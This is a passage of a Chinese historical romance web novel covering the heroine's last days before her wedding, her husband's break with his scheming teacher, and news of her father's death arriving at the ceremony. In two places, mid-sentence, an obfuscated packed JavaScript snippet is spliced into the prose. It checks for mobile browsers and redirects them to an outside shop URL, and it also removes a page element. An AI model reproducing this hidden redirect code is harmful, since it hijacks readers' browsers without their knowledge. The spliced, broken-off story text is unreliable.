他轻拂着她柔嫩的面庞,拇指在她樱桃般的唇上轻拂。她阖上双眸,如蝶翅般震动的睫毛泄露了她的紧张,她抓着他的手腕微微前倾将樱桃送到他的口中。 牧平也在此刻真正感受到了春意烂漫。 - 湖面翡翠如波,微风袭来之时,湖水荡漾在阳光的照射下熠熠生辉,原本投影在湖面的云朵被湖水揉碎。湖边的槐树亦随风摇摆,白色的花瓣簌簌而落,坠入湖水中的云朵仿佛一场夏日雪,一时分不清究竟是幻想还是真实,触手可及却又飘渺无边。槐花的清香随风席卷整座京都,昭示着夏日的繁盛。 婚期越来越近,周韫比女儿还要焦虑,她成日里忙得不见人影,薛容玦也被母亲拘着不得出门又是试婚服又是定宾客名单。 薛琮也时常被母亲指使来指使去,光一个发簪让他和妹妹挑了不下十次,吓得他这些日子都在宫中当值不敢回府。薛皇后还说他不懂得体谅母亲送嫁的心情,他却道妹妹和牧平也的新府邸离薛府走路连一炷香的时辰都不到,又不是见不到。 薛皇后气得把他赶出了椒房殿,他还站在椒房殿门口摸不着头脑,只觉女人果然分外麻烦。 薛容玦今日好不容易借着胡清露和姜琼芳的邀约得以出门,她甚至觉得府外的气息都更清甜一些。 金澜阁一如往日繁华,她推开包厢门时只有胡清露一人百无聊赖地玩着手中的绢帕,看到薛容玦时大大的笑容就攀上了她的面庞,她快步上前拉着薛容玦:“真是好久不见阿玦了。” 薛容玦小心地扶着她坐下,指了指她的肚子:“可不是我不见你,是小陈大人太宝贝你了。” 胡清露面颊羞红,二人嬉笑打闹着,只是过了约定时辰还没有见到姜琼芳二人有些担心便站在窗边看着。 乌淮大街除了皇家轿辇外皆不得入,任是谁都得一步步地走。二人张望了一阵,很快便捕捉到了姜琼芳。 薛容玦上次见姜琼芳还是上月她与文符的婚礼,准确地说,她见到的只是穿着嫁衣盖着红盖头的姜琼芳,并未曾见到她出嫁时的红妆。 薛容玦只觉得此刻的姜琼芳消瘦了许多,像寒风枝头的一朵孤梅,一阵风袭来也许就会将她吹落碾成泥。 薛容玦和胡清露待姜琼芳进来后便拉起她的手道:“姜伯父之事节哀。” 姜琼芳扯了扯嘴角:“多谢妹妹关心。” 胡清露拉着她的手想找些话题岔开她的心情便道:“你们听说了吗?听闻文繁荫已有身孕了。” 姜琼芳纠正道:“如今该称她一声皇妃了,妹妹可要注意了。” 胡清露冲二人笑了笑:“放心吧,在外面我知晓的,这不是对着你们二人嘛。” 薛容玦笑了笑看到姜琼芳身后站着的婢女有些陌生,问道:“姐姐身边的念灵呢,怎么不见她人?” 念灵是姜琼芳自小的婢女,她闻言面色有些苍白看了看身边的婢女道:“念灵今日身子不舒服,这是夫君为我挑选的婢女风英。” 胡清露笑着对她说:“小文大人真是将姐姐捧在手心呢,原遇上姜伯父之事姐姐按理来说该为伯父守孝三年,小文大人竟跑到御前向陛下求娶姐姐,并不在意呢。可见啊,姐姐也是个有福气的。” 姜琼芳笑了笑道:“夫君自然是待我极好。”姜琼芳转身让风英将所带的礼物拿出,对薛容玦道,“下月初六便是妹妹大婚的日子,我为妹妹准备了贺礼,祝妹妹与牧大人如双飞鸿,百岁不离。” 胡清露也急忙让婢女把自己准备的贺礼拿出来:“还有我还有我,那我便祝阿玦与牧大人芝兰千载,琴瑟百年。” 薛容玦让如筠收下对二人笑着道:“那便多谢二位姐姐了。” 胡清露坐了会便要先行离去:“今日说好要去城郊寺庙还愿的,我先行一步,半月后在阿玦 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姜琼芳冰凉的手拉起薛容玦的手聊起了幼时琐事,眼中满是怀念:“转瞬间清露就要做母亲了,阿玦也要成婚了,真真是时光匆匆如流水。我总觉得阿玦是幼时跟在我身后的那个小丫头呢。” 薛容玦也笑着道:“是啊,我还记得那时不论姐姐做什么我总跟在姐姐身后。” 姜琼芳不知想起了什么道,怀念道:“还记得吗?因你年岁小识字便比我晚,时常我在习字、读书之时你总会在一旁问‘这是什么’‘那是什么’问个不停。” 薛容玦撒娇般靠在她肩头:“还是姐姐好,阿兄便嫌我聒噪,时常不带着我玩。” 姜琼芳拍了拍她的头道:“后来等你学诗词时,你说你最喜‘人行明镜中,鸟度屏风里’①一句,我那时最爱的却是‘天地一逆旅,同悲万古尘’②。” 薛容玦本欲开口,姜琼芳却似乎坠入回忆:“我还记得那时我们常去御花园赏花,我最喜欢桂花,毕竟‘秋花之香者,莫能如桂’③。你最喜欢的却是冬日的傲梅,你说‘花之最先者梅,梅当王于花’④,为了赏白梅你我二人冬日在大雪纷飞之际去御花园辨别着白梅与雪花。 “我已不记得是否寻得白梅,只记得回去后你我二人其其病了一场。” 薛容玦笑着道:“幼时果然淘气,只是……” “夫人,时候不早了,我们该回去了。”风英突然开口道。 姜琼芳抬手抹了抹眼角:“你瞧我,说起过去都忘了时辰。” 她拉起薛容玦的手,眼中似有泪意:“阿玦一定会是最美的新娘,以后要和小牧大人好好的。” 薛容玦为她拭去泪水:“姐姐放心,阿玦永远都是你的家人。” 薛容玦送走姜琼芳后不知为何胸口有些沉闷,随即推开窗看着乌淮大街上来往的人群,熙熙攘攘、摩肩接踵,他们看起来各有方向可是站在高处却又如水般随波逐流。 不过夏日蝉鸣阵阵,有时虽觉聒噪可是此刻却奇迹般地抚平了她心头的烦闷。 她带着如筠离开包厢,正思考着是否要去买些甜点,她刚迈步出金澜阁便看到了一个很久不见的人。 ——钟瑶期。 她姿态慵懒地依靠着房柱,看到薛容玦冲她笑了一笑,不再是从前假扮娇柔的笑容,而是慵懒中又带着些笃定的笑容。 “好久不见,郡主可有时间一叙?” 61. 莺啼有泪(九) 白日的抚星楼十分清幽安静,少女们偶尔练习丝竹管弦的乐声穿过房间飘入薛容玦的耳中。 她打量着这间客房,窗子敞开着,阳光和夏日绿意都挤进了房间。桌上只放着一个白色花瓶,其中放着一朵栀子,散发着淡淡幽香。 她看着钟瑶期为她倒了杯茶却未接,只道:“这里是?” 钟瑶期倒也不甚在意,只将茶杯放在她面前道:“你知晓我出身江南红苑坊,京都怎么可能没有红苑坊的一席之地。” “原来如此,”薛容玦点了点头,“听闻抚星楼这几月里在京都名声大噪,不少世家公子趋之若鹜。” 钟瑶期笑着摆了摆手:“不过是些附庸风雅之人,世间女子艰难,红苑坊不过给无处可去的女子一个去处。来此可以可学些技艺,无论是茶道还是音律终究是个技艺,将来也能傍身,以免沦落到以色侍人的地步。” 薛容玦猛然想到那些王朝末年流离失所的女孩子们,不禁对她心生敬意,拿起桌上茶杯敬道:“以茶代酒,我替天下女子敬姑娘一杯。” 说完便一口喝完了茶水,钟瑶期这才露出了一阵笑意浮上眼眸真诚的笑容:“这我可当不起,若有机会你留着敬范姨吧。” 钟瑶期疑惑道:“范姨?” 钟瑶期招手让婢女拿了两个盒子上来,道:“牧平也还真是个闷葫芦,范姨才是创建红苑坊之人。今日约见郡主也是受范姨所托。 “范姨与牧平也的母亲是闺中密友,她一直将牧平也做子侄看待。只是,她曾发誓此生永不离明郡,所以托我将新婚贺礼赠予你。” 薛容玦看着两个精致的木盒,却道:“永不离明郡?” 钟瑶期的眉眼间染上了些许愁绪,看向窗外:“范姨曾是江南第一花魁,她与牧平也父亲手下的小将军两情相悦,二人曾约定就此避世相守一生。可是变故来得猝不及防,转瞬间山盟海誓变成了天人两隔。” “我说这个干嘛,”她垂首拭去了眼角的泪水笑道,“范姨虽不能亲至却交代我一定要亲手将这两个盒子交到你手上。” 她拿起左边的木盒对薛容玦道:“这是范姨赠予你的贺礼,希望你们二人恩爱,白头到老。” 她又拿起右边的木盒珍而重之地放在她手中:“这是牧平也的母亲当年为范姨准备的嫁妆,范姨说牧平也的母亲一定希望你能收下她。” 薛容玦手中捧着木盒,瞧着便有些年头了,沉甸甸的。 她似乎看到了当年的场景,牧平也的母亲将它交给自己的闺中密友,希望她能得偿所愿,与所爱之人白头偕老。 可惜世事无情,牧平也的母亲早已离世,只余密友一人守着回忆度过余生。 薛容玦握紧了手中的木盒,看向钟瑶期道:“多谢你。” “我的贺礼会在你们大婚时奉上,”钟瑶期笑着道,只是她神色忽然变得严肃,“牧平也此生过得很苦,他能遇到你是他的缘也是劫。愿你们长长久久,完成她们没能完成的平安余生,便很好了。” 薛容玦握着木盒的手紧了紧,道:“你可否给我讲讲他幼时之事?” 钟瑶期没有说话,只是看着她,思考半晌后粲然一笑道:“好啊。” - 薛容玦带着如筠走出抚星楼时天色已然悄悄变暗,橙红色的云霞攀上了天际,仿佛一张巨大的薄纱蒙在了天际。太阳被层层叠叠的云雾遮在身后,只能透过云层的边际散发出淡淡光晕,可以想见明日该是一个好天气。 可是如此绚烂的晚霞并不能吸引薛容玦,她一出门便看到了站在对面树下的牧平也。晚霞在他身后绽放,他依然一袭月白衣袍站在槐树下,灼灼泠泠,仿若谪仙下凡尘。 街边小摊的吆喝声、行人的交谈声、蝉鸣与钟瑶期在她身后的话她统统都听不进去,世间种种此刻于她而言不过浮光掠影,她的眼中只有这一个人。 她步伐轻盈地走到他面前,声音里带着不自知的愉悦,面上也笑意明媚:“你怎么来了?” 牧平也笑着牵着她的手:“知晓你在此,特意来接你。” 钟瑶期依靠在门边看着他们二人,心中担忧却面上不显,只笑着打趣道:“人在我这你还不放心,还特意巴巴跑来。” 牧平也却笑着向她道:“多谢。” 薛容玦遣如筠先带着今日收下的东西回府,牧平也带着她去吃了晚饭,她向牧平也说起了钟瑶期今日赠予她的木盒,又道:“大婚之日你的老师会来吗?” 牧平也平日里对着薛容玦都笑意盈盈,此刻却难得沉默了。 他的思绪不禁回到了几个时辰前与老师的相见。 - 茶室外暑气蒸熏,茶室外倒是清爽宜人。 牧平也与程耳于室内对坐,裴顾行坐在程耳身侧,三人间的沉默更让室内的氛围变得冰凉。 终于还是牧平也先开了口:“学生婚期将至,不知老师可会到场观礼?” 程耳淡淡笑了笑:“我曾劝慰你,原以为你是知轻重的,可你还是不管不顾地非要娶那薛家女。你难道忘了你父母是如何惨死的了吗?” 牧平也面对程耳时为表尊重师长时常微微垂首,可是此刻他却抬起头毫不畏惧地与程耳对视:“学生自然一刻也不敢忘父母的惨死,小弟如今还不知流落何方,死生不闻。学生日日夜夜、时时刻刻都想为父母报仇。” “可是,老师又在筹谋些什么呢?是为学生报仇吗?还是学生只是老师与言令兄的一把剑呢?” …… “原来你是顾江临的儿子。”裴雨眠的嘴角挂着意味不明的笑容。 牧平也蹙了蹙眉,问道:“第一个问题,我父亲之死与薛崔两家可有关?” 裴雨眠道:“薛家自始至终未曾参与,崔家虽有参与却并非主导之人,不过是一把剑而已。” 牧平也沉默一瞬,道:“第二个问题,主导之人可是陛下?” 裴雨眠道:“当年田家倾覆确实是陛下的步步筹谋,可是你父亲之死确实与陛下无关。” 牧平也的目光紧紧盯着她:“最后一个问题,是谁?” 裴雨眠道:“我作为崔家人、裴家人,我不能告知于你。我只能告诉你如今田家仍有旧部在筹谋,若你能查到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13190423|135590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你便能寻到。” 三日前,抚星楼。 钟瑶期道:“如你吩咐,我给沈大人去信,他如今虽说掌控明郡还有些艰难,但是确实查到了当年的兵马动向。 “和你猜测不错,那队兵马确实是崔家调动的。” 牧平也皱了皱眉:“你爹当年是从京都刚刚归来,原本打算第二日去找我爹的是吗?” 钟瑶期疑惑道:“是啊,你已经确认了很多次了。” 牧平也道:“那我让你查的另一件事呢?” 钟瑶期面容严肃,道:“崔敬山确实当年与一人来往紧密,且那人行踪不定,我查了很久也只查到那人名唤曜山。” …… 裴顾行有些吃惊地看着他:“你……你知道些什么?” 程耳倒是更加淡然,丝毫不惊讶:“你想说什么?” 牧平也却未回答他的问题,却道:“当年父亲告诉我,他与秦朗山二人相交甚深。变故发生之时,父亲让我来京都寻你,他说看在秦朗山的面子上你一定会照拂于我。 “我父亲解释说你们二人乃是兄弟,我便问道为何兄弟二人并不同姓,父亲便道你们二人乃是同母异父的兄弟,年岁相差较大。母亲改嫁后兄长不愿改改姓只改了名,唤作曜山。” 他看向程耳,他如今也不过将将知天命的年纪,却已两鬓斑白:“老师当年派兵马追袭我父亲不过是想拦截秦朗山的信件,将我留在身边这么多年也不过是为了那封信而已。” 程耳原本一直冷淡无波,直到他听到“秦朗山”时,手中的茶水洒了些到桌上。 “原来你已知晓了这么多。” 牧平也起身抚了抚衣,俯视着二人:“想来师生之谊也就到此为止了,学生等着与老师的交锋之日。” - 薛容玦有些担心地拉着牧平也的手晃了晃:“怎么了?你的手为何如此冰凉?” 牧平也笑了笑,看着夜空的新月缓缓道:“没事的,许是婚期将近,近日总是会想起父母与明川。” 薛容玦道:“今日钟姑娘给我讲了不少你幼时之事,还有伯父伯母、范姨与小将军的故事。她最后交代我让我不要在你面前提起,以免惹你伤心。 “可是我想,若是他们知晓你也马上成家,一定会很为你开心的。人与人之间的回忆如此繁多,为何独独执着于不欢之念呢?他们必定不希望你被往事束缚,你说呢?” 牧平也不知为何眼眶有些泛红,明明面上挂着笑却让人感觉到无比悲伤:“母亲其实当日本有机会离开的,可是她选择了随父亲一同赴死。我和明川走散至今,我亦知晓多年杳无音信,怕早已阴阳两隔。 “老师对我也没有半分师生之情。” “昭昭,”他似乎承受着巨大的痛苦,声音破碎哀伤,“我只有你了,你不能离开我。” “若是没有你,我会疯的。” 薛容玦伸手揽了他的腰,耳边是他强劲的心跳:“世间纷扰,你我相伴,不离不弃。” 牧平也大力将她抱在怀中,十分用力,似要将她融入骨血之中,再不分离。 62. 莺啼有泪(十) 夜半三更星光闪烁,薛府今晚红烛遍布,若是从高处俯瞰就像是一张红色的薄纱温柔地笼罩着这座府邸,便是月光也格外偏爱这里,虽是黑夜却明亮繁荣。 明日便是大婚的日子了,周韫方才又清点了一遍明日大婚所需物品,这才刚刚坐下便听到房门被扣响的声音,她以为是有什么除了差池,急忙去开门道:“可是哪里……阿玦?” 薛容玦身披着薄衣站在周韫的房门外,看起来似乎有些事情:“阿娘,我……我睡不着,我有些害怕。” 周韫笑着把她拉进来:“怎么了?” 薛容玦打量着房屋,每间房屋为了这喜事都挂着朱缎,窗户贴着周韫亲手剪的红色双喜字,窗外的榴花开得正好,繁盛明媚。 “女儿也不知,就是有些心慌。” 周韫让她躺在床上,自己像则像她幼时一般倚靠床帏,语中带笑地道:“阿娘当年大婚前也和你一样,心中又激动又害怕。 “激动是因为终于要嫁给自己心仪之人,却又害怕不知未来是何种情形,阿玦可也是如此心情?” 薛容玦略显懵懂地点点头:“女儿似乎有些不知未来该如果生活。” 周韫笑着轻抚女儿的脑袋:“当年你外祖母告诉我说,别怕,若是婚后过得不开心便回家,我们还不至于养不起你。 “若是阿玦婚后过得不开心便回家,有爹娘和兄长在,我们阿玦此生想要如何生活都好。” 薛容玦还是无法压抑心中的紧张,便问道:“阿娘,你和阿爹成婚这么多年,快乐吗?” 她本以为周韫很快会给她一个肯定的答案,可是周韫竟沉默了一瞬才道:“阿玦,过日子不可能事事如意,我和你爹当然是快乐的,可我们之间还是有很多的遗憾。他曾许诺我将来驻守边境,带我去看大漠明珠,将来退隐后过我想要的生活。 “可是你爹身上的责任太重了,年轻些时,我还会为此闷闷不乐。可是随着年岁渐长,你与阿琮逐渐长大,我觉得我们一家人能坐在一起吃顿团圆饭就已经很好了。 “我们一家人,平安、安稳已经是奢求了。” 周韫看着怀里女儿懵懂的眼神,又笑道:“阿玦不必怕,有爹娘和你阿兄在呢,平也定不会负了你的。若是他对你不好,我便让你阿兄去揍他一顿如何?” 薛容玦“扑哧”笑出声:“有爹娘和阿兄疼爱阿玦真好。” 周韫像幼时哄女儿睡觉一样轻轻拍着她:“快睡吧,明日可是兵荒马乱的一日呢。” - 阳光洒在薛容玦的房间内,她的房间今日被装扮得红彤彤的,金色的阳光和红色的装饰交相辉映,异常绚烂。 树上绿意盎然,鸣蝉阵阵,府内也是人声鼎沸。 薛容玦还在睡眼惺忪时便被周韫拉了起来,她坐在那里像一个任人摆布的木偶,不知过了多久,她正昏昏欲睡之时,只听得月红道:“夫人,您瞧郡主今日多漂亮。” 薛容玦本就皮肤白皙,一身红衣更衬得她皎若太阳升朝霞,灼若芙蕖出渌波。 周韫双眸含泪地看着女儿,心中百般情绪却都化作了一个笑容:“阿玦今日真是明艳动人。” 薛琮急匆匆地跑过来:“到了到了,迎亲的队伍已经到府门口了。” 鸣乐声越来越近,周韫拿着盖头最后看了一眼明媚娇艳的女儿为她盖上了红盖头,哽咽道:“去吧。” 薛容玦眼前只剩一片红,她听到周韫哽咽的声音忍不住转身,跪下时泪如雨下:“女儿拜别母亲。” 说完,盈盈一拜。 周韫示意月红扶起薛容玦,拉起女儿的手递给她一副帕子:“大喜的日子,可不能流泪。 “去吧,让你阿兄送你出去。” 薛容玦看到薛琮在她身前弯下了腰,月红扶着她攀上了他的背。上一次薛琮这样背着妹妹似乎还是妹妹幼时,如今竟已要嫁为人妻了。 薛容玦这才发现薛琮的肩膀十分宽阔,已然可以撑起这个家了。 她揽着兄长的双臂不禁紧了紧:“阿兄,你会常来看我吗?” 薛琮眼中隐有泪意,却仍笑道:“那是自然,我们离得不过一条街,阿兄自然要常去,就怕到时阿玦烦了阿兄,不让阿兄进门呢。” “才不会,阿兄累不累?不如让他们把轿子抬进来?” 薛琮轻轻地笑了笑:“阿兄怎么会累呢,阿兄恨不得一辈子都这样背着阿玦呢。” 薛容玦也不禁笑出了声,显然二人都想起了小时候的玩笑话。 那是幼时的薛容玦贪玩,在皇家围猎时拉着薛琮一起去追一只白兔,结果在山中迷了路。她走不动了坐在地上耍赖,薛琮虽比她年长几岁那时也只是个十来岁的小孩子。 他担心妹妹害怕,一边背着妹妹给她讲故事、安慰她,又一边凭借自己路上所作标记慢慢走着。 “阿兄,是不是以后阿玦遇到困境阿兄都会救阿玦呀?” “那当然,每当阿玦遇到困境的时候,阿玦就大呼‘阿兄’,阿兄便会赶来救阿玦的。” “一辈子这样?” “一辈子这样。” 饶是再长的的路也有尽头,薛琮走得很慢还是走到了府门口。 牧平也褪下了往日的月白色一炮,一袭红衣灼灼,他本就俊朗的容颜今日更是容光焕发,嘴角更是挂着笑意,比平日里温和的笑容更加灿烂。只有熟悉他的人才知晓此刻他的紧张。 薛琮将妹妹轻轻放下,牧平也在众人的嬉闹声中上前,薛琮看着他道:“父亲不在,长兄如父。今日我便将昭昭交给你,愿你待她始终如一。” 牧平也从喜娘手中接过红绸,他感受到另一边被薛容玦轻轻握住。 他神色认真地对薛琮道:“兄长放心。” 薛琮张了张口,犹豫半晌只道:“我并非以薛家人的身份要求你,我只是以昭昭兄长的身份恳求你,不要负她。” 牧平也向薛琮行了一个大礼:“昭昭重于吾命。” 薛琮这才露出了一个轻松的笑容:“你们走吧 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薛容玦看不到,府内早已装点得繁花似锦,房檐廊角都是红色绸带与红色灯笼,红绸花装点着门窗,就连湖边的槐树上都挂着红绸子,随着微风轻轻摆动。 待得步入正厅,喜娘笑着将红绸递给二人,一人抓着红绸的一头,正厅上首坐着薛皇后和周韫。 薛皇后特意向桓帝求得今日来观礼,太子殿下和薛琮分别站在自己母亲身后的位置。几人都眸中带笑的看着二位新人。 ——吉时已到,一拜天地。 天地为鉴,愿有情人终成眷属,缠绵缱绻,如藤枝交柯,至死不渝。 ——二拜高堂。 父母高堂在座,祈愿世间有情人,宛若堂前双飞燕,岁岁年年,永不分离。 ——夫妻对拜。 今结发为夫妻,愿若西南之风,长入君之怀抱,交织无间。生死契阔,与子成说,执子之手,与子偕老,不离不弃。 突然,一内侍闯入正厅,还不待薛皇后开口呵斥,他尖细的声音充满哀伤和喜娘充满喜悦的声音同时响起—— ——礼成! ——薛将军和周小将军……殁了! 薛容玦一把掀开盖头,她今日将平日里散着的乌发统统梳了起来,在婢女的巧手下挽了一个扬凤发髻,发髻上挂着赤玫瑰步摇,红宝石与蓝宝石点缀在玫瑰之上,耳上坠着同款的坠饰,项上戴着一颗硕大的东珠。 她不似往日里淡妆的模样,她今日朱唇艳艳、两颊的胭脂犹如春日桃花,一双远山眉下的双眸明亮动人,额中贴着金色的花钿。她的嫁衣是宫中的秀娘特意制作繁复高贵却丝毫不累赘,她站在那里就像一朵高贵明艳的灼灼牡丹花。 只是此刻妩媚动人的牡丹花似乎经历了暴风雨摇摇欲坠,牧平也赶忙上前握住她冰凉的手,只听得她颤抖着问:“你……再说一遍。” 内侍不敢抬头,只不住地磕头:“薛将军和周小将军……战死沙场。” 63. 月冷千山(一) 白云在湛蓝的天际上慵懒地伸展着,日光火辣辣地照射在夏日午后,热得直叫人燥。 来往行人只听得鸣蝉阵阵,可它藏在树影深处却看不真切,倒是树下的青衣少女无端让人觉得清爽宜人,叫人忍不住多看几眼。 许是夏日炎炎,她身着青色薄纱站在树下阴影处,侍女在一旁为她打着扇子,她的目光却有些焦急,不知在寻找着写什么。 周铎刚从校场回来,远远儿地就看见自己妹妹站在侍卫营门口鬼鬼祟祟。 他悄声上前朝芙蕖摆手示意她不要出声,他在妹妹耳边悄声道:“看什么呢?” “啊!”周韫正专心在侍卫营门口寻找着自己想要寻找的人影,却被结结实实吓了一跳。 她一边以手轻抚胸口,趁周铎不注意踹了兄长一脚:“阿兄干什么!吓死我了。” 周铎顺着她刚才的视线,了悟又意味深长地“哦”了一声:“原来不是来找我的,是来看薛兄的,你都来了几日了?” 周韫不知是热的还是羞的双颊泛红,“哼”了一声道:“你管我?” 周铎闻言气得轻拍了一下她的头:“你是我妹妹,我不管你谁管你?” 周韫眼珠一转,垂首看着地,情绪颇有些低落:“那日在乌淮大街就是他为我解围,只是慌乱间他便不见了身影。前两日在长街遇见才知他才宫中当值,我不过想当面向他表达感谢而已,可他明明看到我了也不出来。” 周铎看妹妹情绪低落一时间有些无措,手忙脚乱地安慰:“薛兄本就沉默寡言,他似乎不太会和女子相处,除了和他妹妹还说两句话,其他宫女与他搭话他都装听不见的。” 周韫美目流转不知在想什么,周铎看她这个表情暗道“不好”,她每次要坑他的时候都是这个表情。 周铎正准备开溜却被周韫一把抓住,她拿着芙蕖手中的扇子殷勤地为周铎扇风:“阿兄,你去把他叫出来好不好?” 周铎怒道:“你又骗我!” 周韫洋洋得意,笑着道:“谁叫阿兄吃这一套呢?” 周铎状作思考,趁周韫不注意便溜之大吉,边跑还边扬声说道:“我才不帮你呢。” 周韫气得跺脚却也无法,正打算下次再寻机会,可她却看到周铎跑到薛勖霖身边,揽着他笑说了些什么,二人分明十分熟稔! 周韫正忿忿不平之际,薛勖霖的目光终于从他手上的长枪移开看向了她。 薛勖霖的目光平稳又沉重,似乎还有几分无可奈何,这目光中其中包含了很多情绪,周韫还太年轻不懂这目光的分量。 周韫本打算转身离开再寻机会却因这目光一动不动。 为什么这么热呢?周韫想,一定是因为今日暑气太盛了。 “阿娘?阿娘?”周韫此刻人有些恍惚,不知为何突然便沉浸在了往事之中。 薛琮担忧地看着她,周韫竟还能挤出一个笑容给儿子:“没事,别担心。” 分明相识还历历如昨,怎么就到了分别的时刻? - 婚礼现场一片嘈杂,只听得薛皇后泠然开口:“今日便到这里吧,景明你同小牧大人还有阿琮去好好将宾客送走。” 太子和薛琮二人面上犹有迷茫和震惊,薛琮先是担忧地和母亲说了几句话才随太子去送宾客,牧平也则安抚地握了握薛容玦的手一步三回头地走出大厅,恭敬有礼地送走了宾客。 宾客们茫然又震惊地随太子和薛琮向外走,薛容玦看到薛皇后面色晦暗不明,周韫则有些微怔。薛皇后起身握着周韫的手:“阿嫂别急,听听内侍怎么说,说不定是军报误传。 “大哥身经百战,不会的。” 她最后一声轻得像呢喃,不知道是在安慰周韫还是在安慰自己。 周韫此刻竟笑了笑:“我没事的,别担心。” 薛容玦有些茫然无措,不知该做些什么好。只好上前跪坐在母亲旁边,拉着母亲冰凉的手,周韫看了一眼薛皇后又看了一眼女儿,紧紧攥着二人的手,不知又想到了什么。 薛容玦此刻大脑一片空白,不知为何那次同兄长还有周俞安兄弟上山时,周俞安所得签文——风为自萧条,突然冒了出来。 「荒草何茫茫,白杨亦萧萧。严霜九月中,送我出远郊。四面无人居,高坟正嶕峣。 马为仰天鸣,风为自萧条。幽室一已闭,千年不复朝。千年不复朝,贤达无奈何。 向来相送人,各自还其家。亲戚或余悲,他人亦已歌。死去何所道,托体同山阿。」 这句签文出自《拟挽歌辞》,原来命运早已给了世人暗示,可是世人总是视而不见。 很快三人便将所有的宾客送走,方才还沸反盈天的府邸此刻便显得有些空空荡荡,风一吹红绸毫无目的地飘着,更显得寂寥万分。 正厅内的所有仆从皆退了下去,正厅内只余下这么几人。 太子扶着薛皇后落座主位,牧平也快步上前扶起薛容玦。他借着宽大的衣袖牵住了薛容玦冰凉的手。 薛容玦其实近日一直觉得非常快乐,是她来到这里之后最快乐、无忧的一段日子。快乐得仿佛有些不真实,每一步都像是踏在云端,像是偷来的日子。 终于,她从云端坠落,狠狠跌落溅了一身的泥泞。 果然,偷来的快乐是需要付出代价的。 薛皇后清冷又疲惫的声音传来:“说说吧,怎么回事。” 可怜的内侍颤巍巍地跪在正厅道:“奴婢也不知具体情形,只听得大概。 “薛将军此前的战报都是一路捷报,陛下还曾夸赞薛将军果真是大将风范,不求一时之功,稳健持重。只是不知为何,大将军突然出兵,被出连雍埋伏。” 内侍不敢看各位贵人的脸色只是低垂着头补充道:“还有一事随此次军报一同送来,北蛮王出连膺早年流落民间之子亦被寻回。 厅内十分沉默,不知过了多久,也许很久,毕竟日头已然西斜。 太子殿下开口:“阿琮先带舅母回府吧,孤去见陛下,母后与孤同行。” 薛容玦突然开口看着太子道:“我也去。” 薛皇后闻言上前拉着她的手道:“好孩子,听话。” 薛容玦面容倔强,眉目含泪看着薛皇后:“姑母,我要去。” 太子长叹一口气,看着薛容玦道:“阿玦来,表兄和你说几句话。” 薛容玦还想再说什么,可看到太子漆黑如墨的双眸仍是什么也没说出口,只是沉默地随他走出正厅。 二人弯弯绕绕走到了一处无人的亭子。 太子掀衣坐下,拍了拍身侧的位置对薛容玦道:“阿玦坐。” 太子看着一袭红嫁衣的薛容玦,在夕阳的照映下有些孤单,他却仍是道:“阿玦有何想法?” 薛容玦低着头看着自己被尘土弄脏的裙摆,声音有些哽咽:“阿爹不是贪功之人,贸然出兵定有缘由。” 太子赞许地看了看她,追问道:“还有呢?” 她深吸一口气,努力压抑声音中的颤抖:“出连雍为人手段强硬,出连膺亦没有出色的子嗣,不出意外下一任北蛮王便是出连雍。那个流落民间的孩子这么多年突然被找到本就可疑,更何况在此时此刻被寻到更显可疑。” 太子点点头,眺望着远方,姿态如松柏挺拔:“这个孩子不论真假其实都只有一种可能,我朝有人与北蛮私通。” 薛容玦看了一眼太子没有说话,她知晓太子的意思。 要么就是我朝有人想致薛勖霖于死地与北蛮串通,要么就是出连雍的政敌想要扳倒出连雍,我朝有人与之串通。 否则无法解释这个流落民间十多年的孩子突然被寻到,算算年纪也差不多刚刚及冠,恰恰好是能与出连雍对抗的年岁。 太子转头看向薛容玦,笑道:“我知晓你手中有夫诸军,况且你也想调查舅父之死,何不与我联手呢?正巧姜徽死了,孤缺一个帮手。” 自上次太子让她出手时她便已有所猜测,看来果真不错,太子需要一个能在暗处为他做事之人。 薛容玦开口问道:“殿下怀疑谁?” “牧平也。” 薛容玦惊异地看着他,双眸微微震颤,却只见太子却微微一笑,仿佛在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天色已然暗沉了下来,太子一步步走向远处,走入那无边的黑暗之中。 薛容玦不知自己在这亭子里坐了多久,昏昏沉沉间感觉到有一个温热的怀抱将自己抱起,小心翼翼地放置在床上。 她挣扎着睁开眼,看到牧平也正小心翼翼地为她卸去繁复的头饰。 牧平也见她醒来将她扶起抱在怀里,眼神中满是爱怜:“我会一直陪着你的。” 薛容玦笑了笑却没说话,只是轻轻推开了他道:“我想先换下衣衫。” 牧平也点点头,扬声叫了月红进来服侍,他则去书房更换。 月红认真地为她卸下装扮,换下衣衫安排好了沐浴,只是在月红离去前,薛容玦突然问道:“什么时候?” 月红的身影陡然愣在原地,旋即转身笑着道:“郡主在说什么?” 薛容玦冷冷地看着她,却未再开口只道:“有事我会叫你的,出去吧。” 她在氤氲的热水中泡着,麻木的大脑才开始思考。 她曾以为薛皇后对她好,可也不过是在利用她。 她原以为太子朗月清风,不过是自己天真可笑。 她曾以为牧平也待她坦诚,可原来她对他一无所知。 昏昏沉沉间她听到外间牧平也的声音:“昭昭,还好吗?” 薛容玦晃了晃脑袋,想要把繁杂的思绪赶出脑海:“这就好。” 她浑身没有一点力气,却挣扎着换好了衣衫,刚一开门就看到牧平也担心的面孔。 她不等对方开口,直直看向对方的眼眸,言语间带着不自知的颤抖:“我阿爹的死必定不是意外,若我知晓是谁害了阿爹,我定要将他碎尸万段。” 牧平也却避开了她的眼眸,只是垂着眼道:“薛将军说不定吉人天相,也许只是误传呢?” 薛容玦笑了一声,意识就像被攥入了深海般骤然失去意识,在阖眼前只看到一副担忧的面庞、感受到一个温热的怀抱。 然后,她的意识便坠入了无边海域。 